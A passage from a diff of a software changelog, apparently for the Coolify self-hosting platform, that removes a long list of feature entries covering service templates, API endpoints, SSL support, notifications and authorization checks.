-- Autoupdate env during seed
-- Disable autoupdate
-- Randomly sleep between executions
-- Pull latest images for services
-- Custom docker compose commands
-- Add environment description + able to change name
-- Raw docker compose deployments
-- Add www-non-www redirects to traefik
-- Import backups
-- Search between resources
-- Move resources between projects / environments
-- Clone any resource
-- Shared environments
-- Concurrent builds / server
-- Able to deploy multiple resources with webhook
-- Add PR comments
-- Dashboard live deployment view
-- Added manual webhook support for bitbucket
-- Add initial support for custom docker run commands
-- Cleanup unreachable servers
-- Tags and tag deploy webhooks
-- Clone to env
-- Multi deployments
-- Cleanup queue
-- Magic for traefik redirectregex in services
-- Revalidate server
-- Disable gzip compression on service applications
-- Save github app permission locally
-- Minversion for services
-- Able to add dynamic configurations from proxy dashboard
-- Custom server limit
-- Delay container/server jobs
-- Add static ipv4 ipv6 support
-- Server disabled by overflow
-- Preview deployment logs
-- Collect webhooks during maintenance
-- Logs and execute commands with several servers
-- Domains api endpoint
-- Resources api endpoint
-- Team api endpoint
-- Add deployment details to deploy endpoint
-- Add deployments api
-- Experimental caddy support
-- Dynamic configuration for caddy
-- Reset password
-- Show resources on source page
-- Able to run scheduler/horizon programatically
-- Change page width
-- Watch paths
-- Able to make rsa/ed ssh keys
-- *(application)* Update submodules after git checkout
-- Add amazon linux 2023
-- Upload large backups
-- Edit domains easier for compose
-- Able to delete configuration from server
-- Configuration checker for all resources
-- Allow tab in textarea
-- Dynamic mux time
-- Literal env variables
-- Lazy load stuffs + tell user if compose based deployments have missing envs
-- Can edit file/dir volumes from ui in compose based apps
-- Upgrade Appwrite service template to 1.5
-- Upgrade Appwrite service template to 1.5
-- Add db name to backup notifications
-- Initial datalist
-- Update service contribution docs URL
-- The final pricing plan, pay-as-you-go
-- Add container name to network aliases in ApplicationDeploymentJob
-- Add lazy loading for images in General.php and improve Docker Compose file handling in Application.php
-- Experimental sentinel
-- Start Sentinel on servers.
-- Pull new sentinel image and restart container
-- Init metrics
-- Add AdminRemoveUser command to remove users from the database
-- Adding new COOLIFY_ variables
-- Save commit message and better view on deployments
-- Toggle label escaping mechanism
-- Shows the latest deployment commit + message on status
-- New manual update process + remove next_channel
-- Add lastDeploymentInfo and lastDeploymentLink props to breadcrumbs and status components
-- Sort envs alphabetically and creation date
-- Improve sorting of environment variables in the All component
-- Update healthcheck test in StartMongodb action
-- Add pull_request_id filter to get_last_successful_deployment method in Application model
-- Add hc logs to healthchecks
-- Add SerpAPI as a Github Sponsor
-- Admin view for deleting users
-- Scheduled task failed notification
-- If the time seems too long it remains at 0s
-- Improve Docker Engine start logic in ServerStatusJob
-- If proxy stopped manually, it won't start back again
-- Exclude_from_hc magic
-- Gitea manual webhooks
-- Add container logs in case the container does not start healthy
-- Handle incomplete expired subscriptions in Stripe webhook
-- Add more persistent storage types
-- Add PHP memory limit environment variable to docker-compose.prod.yml
-- Add manual update option to UpdateCoolify handle method
-- Add port configuration for Vaultwarden service
-- Able to change database passwords on the UI. It won't sync to the database.
-- Able to add several domains to compose based previews
-- Add bounty program link to bug report template
-- Add titles
-- Db proxy logs
-- Easily redirect between www-and-non-www domains
-- Add logos for new sponsors
-- Add homepage template
-- Update homepage.yaml with environment variables and volumes
-- Spanish translation
-- Cancelling a deployment will check if new could be started.
-- Add supaguide logo to donations section
-- Nixpacks now could reach local dbs internally
-- Add Tigris logo to other/logos directory
-- COOLIFY_CONTAINER_NAME predefined variable
-- Charts
-- Sentinel + charts
-- Container metrics
-- Add high priority queue
-- Add metrics warning for servers without Sentinel enabled
-- Add blacksmith logo to donations section
-- Preselect server and destination if only one found
-- More api endpoints
-- Add API endpoint to update application by UUID
-- Update statusnook logo filename in compose template
-- Local fonts
-- More API endpoints
-- Bulk env update api endpoint
-- Update server settings metrics history days to 7
-- New app API endpoint
-- Private gh deployments through api
-- Lots of api endpoints
-- Api api api api api api
-- Rename CloudCleanupSubs to CloudCleanupSubscriptions
-- Early fraud warning webhook
-- Improve internal notification message for early fraud warning webhook
-- Add schema for uuid property in app update response
-- Cleanup unused docker networks from proxy
-- Compose parser v2
-- Display time interval for rollback images
-- Add security and storage access key env to twenty template
-- Add new logo for Latitude
-- Enable legacy model binding in Livewire configuration
-- Improve error handling in loadComposeFile method
-- Add readonly labels
-- Preserve git repository
-- Force cleanup server
-- Create/delete project endpoints
-- Add patch request to projects
-- Add server api endpoints
-- Add branddev logo to README.md
-- Update API endpoint summaries
-- Update Caddy button label in proxy.blade.php
-- Check custom internal name through server's applications.
-- New server check job
-- Delete team in cloud without subscription
-- Coolify init should cleanup stuck networks in proxy
-- Add manual update check functionality to settings page
-- Update auto update and update check frequencies in settings
-- Update Upgrade component to check for latest version of Coolify
-- Improve homepage service template
-- Support map fields in Directus
-- Labels by proxy type
-- Able to generate only the required labels for resources
-- Preserve git repository with advanced file storages
-- Added Windmill template
-- Added Budibase template
-- Add shm-size for custom docker commands
-- Add custom docker container options to all databases
-- Able to select different postgres database
-- Add new logos for jobscollider and hostinger
-- Order scheduled task executions
-- Add Code Server environment variables to Service model
-- Add coolify build env variables to building phase
-- Add new logos for GlueOps, Ubicloud, Juxtdigital, Saasykit, and Massivegrid
-- Add new logos for GlueOps, Ubicloud, Juxtdigital, Saasykit, and Massivegrid
-- Update server_settings table to force docker cleanup
-- Update Docker Compose file with DB_URL environment variable
-- Refactor shared.php to improve environment variable handling
-- Expose project description in API response
-- Add elixir finetunes to the deployment job
-- Make coolify full width by default
-- Fully functional terminal for command center
-- Custom terminal host
-- Add buddy logo
-- Add nullable constraint to 'fingerprint' column in private_keys table
-- *(api)* Add an endpoint to execute a command
-- *(api)* Add endpoint to execute a command
-- Add ContainerStatusTypes enum for managing container status
-- Allow specify use_build_server when creating/updating an application
-- Add support for `use_build_server` in API endpoints for creating/updating applications
-- Add Mixpost template
-- Update resource deletion job to allow configurable options through API
-- Add query parameters for deleting configurations, volumes, docker cleanup, and connected networks
-- Add command to check application deployment queue
-- Support Hetzner S3
-- Handle HTTPS domain in ConfigureCloudflareTunnels
-- Backup all databases for mysql,mariadb,postgresql
-- Restart service without pulling the latest image
-- Add strapi template
-- Add it-tools service template and logo
-- Add homarr service tamplate and logo
-- Add Argilla service configuration to Service model
-- Add Invoice Ninja service configuration to Service model
-- Project search on frontend
-- Add ollama service with open webui and logo
-- Update setType method to use slug value for type
-- Refactor setType method to use slug value for type
-- Refactor setType method to use slug value for type
-- Add Supertokens template
-- Add easyappointments service template
-- Add dozzle template
-- Adds forgejo service with runners
-- Add Mautic 4 and 5 to service templates
-- Add keycloak template
-- Add onedev template
-- Improve search functionality in project selection
-- Add customHelper to stack-form
-- Add cloudbeaver template
-- Add ntfy template
-- Add qbittorrent template
-- Add Homebox template
-- Add owncloud service and logo
-- Add immich service
-- Auto generate url
-- Refactored to work with coolify auto env vars
-- Affine service template and logo
-- Add LibreTranslate template
-- Open version in a new tab
-- Add Transmission template
-- Add transmission healhcheck
-- Add zipline template
-- Dify template
-- Required envs
-- Add EdgeDB
-- Show warning if people would like to use sslip with https
-- Add is shared to env variables
-- Variabel sync and support shared vars
-- Add notification settings to server_disk_usage
-- Add coder service tamplate and logo
-- Debug mode for sentinel
-- Add jitsi template
-- Add --gpu support for custom docker command
-- Add Firefox template
-- Add template for Wiki.js
-- Add upgrade logs to /data/coolify/source
-- Custom nginx configuration for static deployments + fix 404 redirects in nginx conf
-- Check local horizon scheduler deployments
-- Add internal api docs to /docs/api with auth
-- Add proxy type change to create/update apis
-- Add MacOS template
-- Add Windows template
-- *(service)* :sparkles: add mealie
-- Add hex magic env var
-- Add deploy-only token permission
-- Able to deploy without cache on every commit
-- Update private key nam with new slug as well
-- Allow disabling default redirect, set status to 503
-- Add TLS configuration for default redirect in Server model
-- Slack notifications
-- Introduce root permission
-- Able to download schedule task logs
-- Migrate old email notification settings from the teams table
-- Migrate old discord notification settings from the teams table
-- Migrate old telegram notification settings from the teams table
-- Add slack notifications to a new table
-- Enable success messages again
-- Use new notification stuff inside team model
-- Some more notification settings and better defaults
-- New email notification settings
-- New shared function name `is_transactional_emails_enabled()`
-- New shared notifications functions
-- Email Notification Settings Model
-- Telegram notification settings Model
-- Discord notification settings Model
-- Slack notification settings Model
-- New Discord notification UI
-- New Slack notification UI
-- New telegram UI
-- Use new notification event names
-- Always sent notifications
-- Scheduled task success notification
-- Notification trait
-- Get discord Webhook form new table
-- Get Slack Webhook form new table
-- Use new table or instance settings for email
-- Use new place for settings and topic IDs for telegram
-- Encrypt instance email settings
-- Use encryption in instance settings model
-- Scheduled task success and failure notifications
-- Add docker cleanup success and failure notification settings columns
-- UI for docker cleanup success and failure notification
-- Docker cleanup email views
-- Docker cleanup success and failure notification files
-- Scheduled task success email
-- Send new docker cleanup notifications
-- :passport_control: integrate Authentik authentication with Coolify
-- *(notification)* Add Pushover
-- Add seeder command and configuration for database seeding
-- Add new password magic env with symbols
-- Add documenso service
-- New ServerReachabilityChanged event
-- Use new ServerReachabilityChanged event instead of isDirty
-- Add infomaniak oauth
-- Add server disk usage check frequency
-- Add environment_uuid support and update API documentation
-- Add service/resource/project labels
-- Add coolify.environment label
-- Add database subtype
-- Migrate to new encryption options
-- New encryption options
-- Able to import full db backups for pg/mysql/mariadb
-- Restore backup from server file
-- Docker volume data cloning
-- Move volume data cloning to a Job
-- Volume cloning for ResourceOperations
-- Remote server volume cloning
-- Add horizon server details to queue
-- Enhance horizon:manage command with worker restart check
-- Add is_coolify_host to the server api responses
-- DB migration for Backup retention
-- UI for backup retention settings
-- New global s3 and local backup deletion function
-- Use new backup deletion functions
-- Add calibre-web service
-- Add actual-budget service
-- Add rallly service
-- Template for Gotenberg, a Docker-powered stateless API for PDF files
-- Enhance import command options with additional guidance and improved checkbox label
-- Purify for better sanitization
-- Move docker cleanup to its own tab
-- DB and Model for docker cleanup executions
-- DockerCleanupExecutions relationship
-- DockerCleanupDone event
-- Get command and output for logs from CleanupDocker
-- New sidebar menu and order
-- Docker cleanup executions UI
-- Add execution log to dockerCleanupJob
-- Improve deployment UI
-- Root user envs and seeding
-- Email, username and password validation when they are set via envs
-- Improved error handling and log output
-- Add root user configuration variables to production environment
-- Add log file check message in upgrade script for better troubleshooting
-- Add root user details to install script
-- *(core)* Wip version of coolify.json
-- *(core)* Add SOURCE_COMMIT variable to build environment in ApplicationDeploymentJob
-- *(service)* Update affine.yaml with AI environment variables (#4918)
-- *(service)* Add new service Flipt (#4875)
-- *(docs)* Update tech stack
-- *(terminal)* Show terminal unavailable if the container does not have a shell on the global terminal UI
-- *(ui)* Improve deployment UI
-- *(template)* Add Open Web UI
-- *(templates)* Add Open Web UI service template
-- *(ui)* Update GitHub source creation advanced section label
-- *(core)* Add dynamic label reset for application settings
-- *(ui)* Conditionally enable advanced application settings based on label readonly status
-- *(env)* Added COOLIFY_RESOURCE_UUID environment variable
-- *(vite)* Add Cloudflare async script and style tag attributes
-- *(meta)* Add comprehensive SEO and social media meta tags
-- *(core)* Add name to default proxy configuration
-- Add application api route
-- Container logs
-- Remove ansi color from log
-- Add lines query parameter
-- *(changelog)* Add git cliff for automatic changelog generation
-- *(workflows)* Improve changelog generation and workflows
-- *(ui)* Add periodic status checking for services
-- *(deployment)* Ensure private key is stored in filesystem before deployment
-- *(slack)* Show message title in notification previews (#5063)
-- *(i18n)* Add Arabic translations (#4991)
-- *(i18n)* Add French translations (#4992)
-- *(services)* Update `service-templates.json`
-- *(ui)* Add top padding to pricing plans view
-- *(core)* Add error logging and cron parsing to docker/server schedules
-- *(core)* Prevent using servers with existing resources as build servers
-- *(ui)* Add textarea switching option in service compose editor
-- *(ui)* Add wire:key to two-step confirmation settings
-- *(database)* Add index to scheduled task executions for improved query performance
-- *(database)* Add index to scheduled database backup executions
-- *(billing)* Add Stripe past due subscription status tracking
-- *(ui)* Add past due subscription warning banner
-- *(service)* Neon
-- *(migration)* Add `ssl_certificates` table and model
-- *(migration)* Add ssl setting to `standalone_postgresqls` table
-- *(ui)* Add ssl settings to Postgres ui
-- *(db)* Add ssl mode to Postgres URLs
-- *(db)* Setup ssl during Postgres start
-- *(migration)* Encrypt local file volumes content and paths
-- *(ssl)* Ssl generation helper
-- *(ssl)* Migrate to `ECC`certificates using `secp521r1`
-- *(ssl)* Improve SSL helper
-- *(ssl)* Add a Coolify CA Certificate to all servers
-- *(seeder)* Call CA SSL seeder in prod and dev
-- *(ssl)* Add Coolify CA Certificate when adding a new server
-- *(installer)* Create CA folder during installation
-- *(ssl)* Improve SSL helper
-- *(ssl)* Use new improved helper for SSL generation
-- *(ui)* Add CA cert UI
-- *(ui)* New copy button component
-- *(ui)* Use new copy button component everywhere
-- *(ui)* Improve server advanced view
-- *(migration)* Add CN and alternative names to DB
-- *(databases)* Add CA SSL crt location to Postgres URLs
-- *(ssl)* Improve ssl generation
-- *(ssl)* Regenerate SSL certs job
-- *(ssl)* Regenerate certificate and valid until UI
-- *(ssl)* Regenerate CA cert and all other certs logic
-- *(ssl)* Add full MySQL SSL Support
-- *(ssl)* Add full MariaDB SSL support
-- *(ssl)* Add `openssl.conf` to configure SSL extension properly
-- *(ssl)* Improve SSL generation and security a lot
-- *(ssl)* Check for SSL renewal twice daily
-- *(ssl)* Add SSL relationships to all DBs
-- Add full SSL support to MongoDB
-- *(ssl)* Fix some issues and improve ssl generation helper
-- *(ssl)* Ability to create `.pem` certs and add `clientAuth` to `extendedKeyUsage`
-- *(ssl)* New modes for MongoDB and get `caCert` and `mountPath` correctly
-- *(ssl)* Full SSL support for Redis
-- New mode implementation for MongoDB
-- *(ssl)* Improve Redis and remove modes
-- Full SSL support for DrangonflyDB
-- SSL notification
-- *(github-source)* Enhance GitHub App configuration with manual and private key support
-- *(ui)* Improve GitHub repository selection and styling
-- *(database)* Implement two-step confirmation for database deletion
-- *(assets)* Add new SVG logo for Coolify
-- *(install)* Enhance Docker address pool configuration and validation
-- *(install)* Improve Docker address pool management and service restart logic
-- *(install)* Add missing env variable to install script
-- *(LocalFileVolume)* Add binary file detection and update UI logic
-- *(templates)* Change glance for v0.7
-- *(templates)* Add Freescout service template
-- *(service)* Add Evolution API template
-- *(service)* Add evolution-api and neon-ws-proxy templates
-- *(svg)* Add coolify and evolution-api SVG logos
-- *(api)* Add api to create custom services
-- *(api)* Separate create and one-click routes
-- *(api)* Update Services api routes and handlers
-- *(api)* Unify service creation endpoint and enhance validation
-- *(notifications)* Add discord ping functionality and settings
-- *(user)* Implement session deletion on password reset
-- *(github)* Enhance repository loading and validation in applications
-- *(database)* Disable MongoDB SSL by default in migration
-- *(database)* Add CA certificate generation for database servers
-- *(application)* Add SPA configuration and update Nginx generation logic
-- *(deployments)* Add list application deployments api route
-- *(deploy)* Add pull request ID parameter to deploy endpoint
-- *(api)* Add pull request ID parameter to applications endpoint
-- *(api)* Add endpoints for retrieving application logs and deployments
-- *(lang)* Added Norwegian language (#5280)
-- *(dep)* Bump all dependencies
-- *(lang)* Added Azerbaijani language updated turkish language. (#5497)
-- *(lang)* Added Portuguese from Brazil language (#5500)
-- *(lang)* Add Indonesian language translations (#5513)
-- *(api)* Update OpenAPI spec for services (#5448)
-- *(proxy)* Enhance proxy handling and port conflict detection
-- *(Deploy)* Add info dispatch for proxy check initiation
-- *(EnvironmentVariable)* Add handling for Redis credentials in the environment variable component
-- *(EnvironmentVariable)* Implement protection for critical environment variables and enhance deletion logic
-- *(Application)* Add networkAliases attribute for handling network aliases as JSON or comma-separated values
-- *(GithubApp)* Update default events to include 'pull_request' and streamline event handling
-- *(CleanupDocker)* Add support for realtime image management in Docker cleanup process
-- *(Deployment)* Enhance queue_application_deployment to handle existing deployments and return appropriate status messages
-- *(SourceManagement)* Add functionality to change Git source and display current source in the application settings
-- *(OpenApi)* Enhance OpenAPI specifications by adding UUID parameters for application, project, and service updates; improve deployment listing with pagination parameters; update command signature for OpenApi generation
-- *(subscription)* Enhance subscription management with loading states and Stripe status checks
-- Add HTTP Basic Authentication
-- *(readme)* Add new sponsors Supadata AI and WZ-IT to the README
-- *(core)* Enable magic env variables for compose based applications
-- *(deployment)* Add repository_project_id handling for private GitHub apps and clean up unused Caddy label logic
-- *(api)* Enhance OpenAPI specifications with token variable and additional key attributes
-- *(docker)* Add HTTP Basic Authentication support and enhance hostname parsing in Docker run conversion
-- *(api)* Add HTTP Basic Authentication fields to OpenAPI specifications and enhance PrivateKey model descriptions
-- *(README)* Add InterviewPal sponsorship link and corresponding SVG icon
-- *(migration)* Add 'is_migrated' and 'custom_type' columns to service_applications and service_databases tables
-- *(backup)* Implement custom database type selection and enhance scheduled backups management
-- *(README)* Add Gozunga and Macarne to sponsors list
-- *(redis)* Add scheduled cleanup command for Redis keys and enhance cleanup logic
-- *(core)* Add 'postmarketos' to supported OS list
-- *(service)* Add memos service template (#5032)
-- *(ui)* Upgrade to Tailwind v4 (#5710)
-- *(service)* Add Navidrome service template (#5022)
-- *(service)* Add Passbolt service (#5769)
-- *(service)* Add Vert service (#5663)
-- *(service)* Add Ryot service (#5232)
-- *(service)* Add Marimo service (#5559)
-- *(service)* Add Diun service (#5113)
-- *(service)* Add Observium service (#5613)
-- *(service)* Add Leantime service (#5792)
-- *(service)* Add Limesurvey service (#5751)
-- *(service)* Add Paymenter service (#5809)
-- *(service)* Add CodiMD service (#4867)
-- *(modal)* Add dispatchAction property to confirmation modal
-- *(security)* Implement server patching functionality
-- *(service)* Add Typesense service (#5643)
-- *(service)* Add Yamtrack service (#5845)
-- *(service)* Add PG Back Web service (#5079)
-- *(service)* Update Maybe service and adjust it for the new release (#5795)
-- *(oauth)* Set redirect uri as optional and add default value (#5760)
-- *(service)* Add apache superset service (#4891)
-- *(service)* Add One Time Secret service (#5650)
-- *(service)* Add Seafile service (#5817)
-- *(service)* Add Netbird-Client service (#5873)
-- *(service)* Add OrangeHRM and Grist services (#5212)
-- *(rules)* Add comprehensive documentation for Coolify architecture and development practices for AI tools, especially for cursor
-- *(server)* Implement server patch check notifications
-- *(api)* Add latest query param to Service restart API (#5881)
-- *(api)* Add connect_to_docker_network setting to App creation API (#5691)
-- *(routes)* Restrict backup download access to team admins and owners
-- *(destination)* Update confirmation modal text and add persistent storage warning for server deployment
-- *(terminal-access)* Implement terminal access control for servers and containers, including UI updates and backend logic
-- *(ca-certificate)* Add CA certificate management functionality with UI integration and routing
-- *(security-patches)* Add update check initialization and enhance notification messaging in UI
-- *(previews)* Add force deploy without cache functionality and update deploy method to accept force rebuild parameter
-- *(security-patterns)* Expand sensitive patterns list to include additional security-related variables
-- *(database-backup)* Add MongoDB credential extraction and backup handling to DatabaseBackupJob
-- *(activity-monitor)* Implement auto-scrolling functionality and dynamic content observation for improved user experience
-- *(utf8-handling)* Implement UTF-8 sanitization for command outputs and enhance error handling in logs processing
-- *(navbar)* Add Traefik dashboard availability check and server IP handling; refactor dynamic configurations loading
-- *(proxy-dashboard)* Implement ProxyDashboardCacheService to manage Traefik dashboard cache; clear cache on configuration changes and proxy actions
-- *(terminal-connection)* Enhance terminal connection handling with auto-connect feature and improved status messaging
-- *(terminal)* Implement resize handling with ResizeObserver for improved terminal responsiveness
-- *(migration)* Add is_sentinel_enabled column to server_settings with default true
-- *(seeder)* Dispatch StartProxy action for each server in ProductionSeeder
-- *(seeder)* Add CheckAndStartSentinelJob dispatch for each server in ProductionSeeder
-- *(seeder)* Conditionally dispatch StartProxy action based on proxy check result
-- *(service)* Update Changedetection template (#5937)
-- *(service)* Add Miniflux service (#5843)
-- *(service)* Add Pingvin Share service (#5969)
-- *(auth)* Add Discord OAuth Provider (#5552)
-- *(auth)* Add Clerk OAuth Provider (#5553)
-- *(auth)* Add Zitadel OAuth Provider (#5490)
-- *(core)* Set custom API rate limit (#5984)
-- *(service)* Enhance service status handling and UI updates
-- *(cleanup)* Add functionality to delete teams with no members or servers in CleanupStuckedResources command
-- *(ui)* Add heart icon and enhance popup messaging for sponsorship support
-- *(settings)* Add sponsorship popup toggle and corresponding database migration
-- *(migrations)* Add optimized indexes to activity_log for improved query performance
-- *(template)* Added excalidraw (#6095)
-- *(template)* Add excalidraw service configuration with documentation and tags
-- *(scheduling)* Add command to manually run scheduled database backups and tasks with options for chunking, delays, and dry runs
-- *(scheduling)* Add frequency filter option for manual execution of scheduled jobs
-- *(logging)* Implement scheduled logs command and enhance backup/task scheduling with cron checks
-- *(logging)* Add frequency filters for scheduled logs command to support hourly, daily, weekly, and monthly job views
-- *(scheduling)* Introduce ScheduledJobManager and ServerResourceManager for enhanced job scheduling and resource management
-- *(previews)* Implement soft delete and cleanup for ApplicationPreview, enhancing resource management in DeleteResourceJob
-- *(service)* Enable password protection for the Wireguard Ul
-- *(queues)* Improve Horizon config to reduce CPU and RAM usage (#6212)
-- *(service)* Add Gowa service (#6164)
-- *(container)* Add updatedSelectedContainer method to connect to non-default containers and update wire:model for improved reactivity
-- *(application)* Implement environment variable updates for Docker Compose applications, including creation, updating, and deletion of SERVICE_FQDN and SERVICE_URL variables
-- *(service)* Add TriliumNext service (#5970)
-- *(service)* Add Matrix service (#6029)
-- *(service)* Add GitHub Action runner service (#6209)
-- *(terminal)* Dispatch focus event for terminal after connection and enhance focus handling in JavaScript
-- *(lang)* Add Polish language & improve forgot_password translation (#6306)
-- *(service)* Update Authentik template (#6264)
-- *(service)* Add sequin template (#6105)
-- *(service)* Add pi-hole template (#6020)
-- *(services)* Add Chroma service (#6201)
-- *(service)* Add OpenPanel template (#5310)
-- *(service)* Add librechat template (#5654)
-- *(service)* Add Homebox service (#6116)
-- *(service)* Add pterodactyl & wings services (#5537)
-- *(service)* Add Bluesky PDS template (#6302)
-- *(input)* Add autofocus attribute to input component for improved accessibility
-- *(core)* Finally fqdn is fqdn and url is url. haha
-- *(user)* Add changelog read tracking and unread count method
-- *(templates)* Add new service templates and update existing compose files for various applications
-- *(changelog)* Implement automated changelog fetching from GitHub and enhance changelog read tracking
-- *(drizzle-gateway)* Add new drizzle-gateway service with configuration and logo
-- *(drizzle-gateway)* Enhance service configuration by adding Master Password field and updating compose file path
-- *(templates)* Add new service templates for Homebox, LibreChat, Pterodactyl, and Wings with corresponding configurations and logos
-- *(templates)* Add Bluesky PDS service template and update compose file with new environment variable
-- *(readme)* Add CubePath as a big sponsor and include new small sponsors with logos
-- *(api)* Add create_environment endpoint to ProjectController for environment creation in projects
-- *(api)* Add endpoints for managing environments in projects, including listing, creating, and deleting environments
-- *(backup)* Add disable local backup option and related logic for S3 uploads
-- *(dev patches)* Add functionality to send test email with patch data in development mode
-- *(templates)* Added category per service
-- *(email)* Implement email change request and verification process
-- Generate category for services
-- *(service)* Add elasticsearch template (#6300)
-- *(sanitization)* Integrate DOMPurify for HTML sanitization across components
-- *(cleanup)* Add command for sanitizing name fields across models
-- *(sanitization)* Enhance HTML sanitization with improved DOMPurify configuration
-- *(validation)* Centralize validation patterns for names and descriptions
-- *(git-settings)* Add support for shallow cloning in application settings
-- *(auth)* Implement authorization checks for server updates across multiple components
-- *(auth)* Implement authorization for PrivateKey management
-- *(auth)* Implement authorization for Docker and server management
-- *(validation)* Add custom validation rules for Git repository URLs and branches
-- *(security)* Add authorization checks for package updates in Livewire components
-- *(auth)* Implement authorization checks for application management
-- *(auth)* Enhance API error handling for authorization exceptions
-- *(auth)* Add comprehensive authorization checks for all kind of resource creations
-- *(auth)* Implement authorization checks for database management
-- *(auth)* Refine authorization checks for S3 storage and service management
-- *(auth)* Implement comprehensive authorization checks across API controllers
-- *(auth)* Introduce resource creation authorization middleware and policies for enhanced access control
-- *(auth)* Add middleware for resource creation authorization
-- *(auth)* Enhance authorization checks in Livewire components for resource management
-- *(validation)* Add ValidIpOrCidr rule for validating IP addresses and CIDR notations; update API access settings UI and add comprehensive tests
-- *(docs)* Update architecture and development guidelines; enhance form components with built-in authorization system and improve routing documentation
-- *(docs)* Expand authorization documentation for custom Alpine.js components; include manual protection patterns and implementation guidelines
-- *(sentinel)* Implement SentinelRestarted event and update Livewire components to handle server restart notifications
-- *(api)* Enhance IP access control in middleware and settings; support CIDR notation and special case for 0.0.0.0 to allow all IPs
-- *(acl)* Change views/backend code to able to use proper ACL's later on. Currently it is not enabled.
-- *(docs)* Add Backlog.md guidelines and project manager backlog agent; enhance CLAUDE.md with new links for task management
-- *(docs)* Add tasks for implementing Docker build caching and optimizing staging builds; include detailed acceptance criteria and implementation plans
-- *(docker)* Implement Docker cleanup processing in ScheduledJobManager; refactor server task scheduling to streamline cleanup job dispatching
-- *(docs)* Expand Backlog.md guidelines with comprehensive usage instructions, CLI commands, and best practices for task management to enhance project organization and collaboration
-- *(policies)* Add EnvironmentVariablePolicy for managing environment variables ( it was missing )
-- *(domains)* Implement domain conflict detection and user confirmation modal across application components
-- *(domains)* Add force_domain_override option and enhance domain conflict detection responses
-- Add Ente Photos service template
-- *(command)* Add option to sync GitHub releases to BunnyCDN and refactor sync logic
-- *(ui)* Display current version in settings dropdown and update UI accordingly
-- *(settings)* Add option to restrict PR deployments to repository members and contributors
-- *(command)* Implement SSH command retry logic with exponential backoff and logging for better error handling
-- *(ssh)* Add Sentry tracking for SSH retry events to enhance error monitoring
-- *(exceptions)* Introduce NonReportableException to handle known errors and update Handler for selective reporting
-- *(sudo-helper)* Add helper functions for command parsing and ownership management with sudo
-- *(dev-command)* Dispatch CheckHelperImageJob during instance initialization to enhance setup process
-- *(ssh-multiplexing)* Enhance multiplexed connection management with health checks and metadata caching
-- *(ssh-multiplexing)* Add connection age metadata handling to improve multiplexed connection management
-- *(database-backup)* Enhance error handling and output management in DatabaseBackupJob
-- *(application)* Display parsing version in development mode and clean up domain conflict modal markup
-- *(deployment)* Add SERVICE_NAME variables for service discovery
-- *(storages)* Add method to retrieve the first storage ID for improved stability in storage display
-- *(environment)* Add 'is_literal' attribute to environment variable for enhanced configuration options
-- *(pre-commit)* Automate generation of service templates and OpenAPI documentation during pre-commit hook
-- *(execute-container)* Enhance container command form with auto-connect feature for single container scenarios
-- *(environment)* Introduce 'is_buildtime_only' attribute to environment variables for improved build-time configuration
-- *(templates)* Add n8n service with PostgreSQL and worker support for enhanced workflow automation
-- *(user-management)* Implement user deletion command with phased resource and subscription cancellation, including dry run option
-- *(sentinel)* Add support for custom Docker images in StartSentinel and related methods
-- *(sentinel)* Add slide-over for viewing Sentinel logs and custom Docker image input for development
-- *(executions)* Add 'Load All' button to view all logs and implement loadAllLogs method for complete log retrieval
-- *(auth)* Enhance user login flow to handle team invitations, attaching users to invited teams upon first login and maintaining personal team logic for regular logins
-- *(laravel-boost)* Add Laravel Boost guidelines and MCP server configuration to enhance development experience
-- *(deployment)* Enhance deployment status reporting with detailed information on active deployments and team members
-- *(deployment)* Implement cancellation checks during deployment process to enhance user control and prevent unnecessary execution
-- *(deployment)* Introduce 'use_build_secrets' setting for enhanced security during Docker builds and update related logic in deployment process
-- *(environment)* Replace is_buildtime_only with is_runtime and is_buildtime flags for environment variables, updating related logic and views
-- *(deployment)* Handle buildtime and runtime variables during deployment
-- *(search)* Implement global search functionality with caching and modal interface
-- *(search)* Enable query logging for global search caching
-- *(environment)* Add dynamic checkbox options for environment variable settings based on user permissions and variable types
-- *(redaction)* Implement sensitive information redaction in logs and commands
-- Improve detection of special network modes
-- *(api)* Add endpoint to update backup configuration by UUID and backup ID; modify response to include backup id
-- *(databases)* Enhance backup management API with new endpoints and improved data handling
-- *(github)* Add GitHub app management endpoints
-- *(github)* Add update and delete endpoints for GitHub apps
-- *(databases)* Enhance backup update and deletion logic with validation
-- *(environment-variables)* Implement environment variable analysis for build-time issues
-- *(databases)* Implement unique UUID generation for backup execution
-- *(cloud-check)* Enhance subscription reporting in CloudCheckSubscription command
-- *(cloud-check)* Enhance CloudCheckSubscription command with fix options
-- *(stripe)* Enhance subscription handling and verification process
-- *(private-key-refresh)* Add refresh dispatch on private key update and connection check
-- *(comments)* Add automated comments for labeled pull requests to guide documentation updates
-- *(comments)* Ping PR author
-- *(add-watch-paths-for-services)* Show watch paths field for docker compose applications
-- *(application)* Implement order-based pattern matching for watch paths with negation support
-- *(github)* Enhance Docker Compose input fields for better user experience
-- *(dev-seeders)* Add PersonalAccessTokenSeeder to create development API tokens
-- *(application)* Add conditional .env file creation for Symfony apps during PHP deployment
-- *(application)* Enhance watch path parsing to support negation syntax
-- *(application)* Add normalizeWatchPaths method to improve watch path handling
-- *(validation)* Enhance ValidGitRepositoryUrl to support additional safe characters and add comprehensive unit tests for various Git repository URL formats
-- *(deployment)* Implement detection for Laravel/Symfony frameworks and configure NIXPACKS PHP environment variables accordingly
-- *(user-deletion)* Implement file locking to prevent concurrent user deletions and enhance error handling
-- *(ui)* Enhance resource operations interface with dynamic selection for cloning and moving resources
-- *(global-search)* Integrate projects and environments into global search functionality
-- *(storage)* Consolidate storage management into a single component with enhanced UI
-- *(deployments)* Add support for Coolify variables in Dockerfile
-- *(deployments)* Enhance Docker build argument handling for multiline variables
-- *(deployments)* Add log copying functionality to clipboard in dev
-- *(deployments)* Generate SERVICE_NAME environment variables from Docker Compose services
 - *(docker)* Enhance Docker image handling with new validation and parsing logic
 - *(docker)* Improve Docker image submission logic with enhanced parsing
 - *(docker)* Refine Docker image processing in application creation
@@ -1023,2755 +256,9 @@ ### 🚀 Features
 - *(signoz)* Pin service image tags and `exclude_from_hc` flag to services excluded from health checks
 - *(templates)* Add SMTP configuration to ente-photos compose templates
 - *(templates)* Add SMTP encryption configuration to ente-photos compose templates
-- *(templates)* Add sparkyfitness compose template and logo
-- *(servide)* Add siyuan template
-- Add onboarding guide link to global search no results state
-- Add category filter dropdown to service selection
-- Display service logos in original colors with consistent sizing
 
 ### 🐛 Bug Fixes
 
-- Secrets join
-- ENV variables set differently
-- Capture non-error as error
-- Only delete id.rsa in case of it exists
-- Status is not available yet
-- Docker Engine bug related to live-restore and IPs
-- Version
